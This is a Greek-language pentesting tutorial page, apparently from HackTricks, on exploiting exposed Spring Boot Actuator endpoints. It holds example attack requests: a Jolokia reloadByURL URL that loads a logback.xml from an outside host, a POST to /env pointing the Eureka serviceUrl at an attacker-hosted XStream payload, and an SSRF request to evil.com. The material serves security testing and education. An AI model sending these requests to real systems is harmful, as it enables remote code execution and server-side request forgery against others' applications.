# Spring Actuators {{#include ../../banners/hacktricks-training.md}} ## **Spring Auth Bypass**
**Από** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png) ## Εκμετάλλευση Spring Boot Actuators **Δείτε την αρχική ανάρτηση από** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**] ### **Βασικά Σημεία:** - Οι Spring Boot Actuators καταχωρούν endpoints όπως `/health`, `/trace`, `/beans`, `/env`, κ.λπ. Σε εκδόσεις 1 έως 1.4, αυτά τα endpoints είναι προσβάσιμα χωρίς αυθεντικοποίηση. Από την έκδοση 1.5 και μετά, μόνο τα `/health` και `/info` είναι μη ευαίσθητα από προεπιλογή, αλλά οι προγραμματιστές συχνά απενεργοποιούν αυτή την ασφάλεια. - Ορισμένα endpoints Actuator μπορεί να εκθέσουν ευαίσθητα δεδομένα ή να επιτρέψουν επιβλαβείς ενέργειες: - `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, και `/heapdump`. - Στο Spring Boot 1.x, οι actuators καταχωρούνται κάτω από τη ρίζα URL, ενώ στο 2.x, είναι κάτω από τη βασική διαδρομή `/actuator/`. ### **Τεχνικές Εκμετάλλευσης:** 1. **Απομακρυσμένη Εκτέλεση Κώδικα μέσω '/jolokia'**: - Το endpoint `/jolokia` εκθέτει τη βιβλιοθήκη Jolokia, η οποία επιτρέπει HTTP πρόσβαση σε MBeans. - Η ενέργεια `reloadByURL` μπορεί να εκμεταλλευτεί για να επαναφορτώσει τις ρυθμίσεις καταγραφής από μια εξωτερική διεύθυνση URL, κάτι που μπορεί να οδηγήσει σε τυφλό XXE ή απομακρυσμένη εκτέλεση κώδικα μέσω κατεργασμένων XML ρυθμίσεων. - Παράδειγμα URL εκμετάλλευσης: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`. 2. **Τροποποίηση Ρυθμίσεων μέσω '/env'**: - Εάν υπάρχουν βιβλιοθήκες Spring Cloud, το endpoint `/env` επιτρέπει την τροποποίηση περιβαλλοντικών ιδιοτήτων. - Οι ιδιότητες μπορούν να χειραγωγηθούν για να εκμεταλλευτούν ευπάθειες, όπως η ευπάθεια αποσυμπίεσης XStream στην υπηρεσία Eureka serviceURL. - Παράδειγμα POST αίτησης εκμετάλλευσης: ``` POST /env HTTP/1.1 Host: 127.0.0.1:8090 Content-Type: application/x-www-form-urlencoded Content-Length: 65 eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream ``` 3. **Άλλες Χρήσιμες Ρυθμίσεις**: - Ιδιότητες όπως `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, και `spring.datasource.tomcat.max-active` μπορούν να χειραγωγηθούν για διάφορες εκμεταλλεύσεις, όπως SQL injection ή τροποποίηση συμβολοσειρών σύνδεσης βάσης δεδομένων. ### **Επιπλέον Πληροφορίες:** - Μια ολοκληρωμένη λίστα με τις προεπιλεγμένες actuators μπορεί να βρεθεί [εδώ](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt). - Το endpoint `/env` στο Spring Boot 2.x χρησιμοποιεί μορφή JSON για την τροποποίηση ιδιοτήτων, αλλά η γενική έννοια παραμένει η ίδια. ### **Σχετικά Θέματα:** 1. **Env + H2 RCE**: - Λεπτομέρειες σχετικά με την εκμετάλλευση του συνδυασμού του endpoint `/env` και της βάσης δεδομένων H2 μπορούν να βρεθούν [εδώ](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database). 2. **SSRF στο Spring Boot μέσω Λάθους Ερμηνείας Διαδρομής**: - Η διαχείριση παραμέτρων μήτρας (`;`) από το πλαίσιο Spring σε διαδρομές HTTP μπορεί να εκμεταλλευτεί για Server-Side Request Forgery (SSRF). - Παράδειγμα αίτησης εκμετάλλευσης: ```http GET ;@evil.com/url HTTP/1.1 Host: target.com Connection: close ``` {{#include ../../banners/hacktricks-training.md}}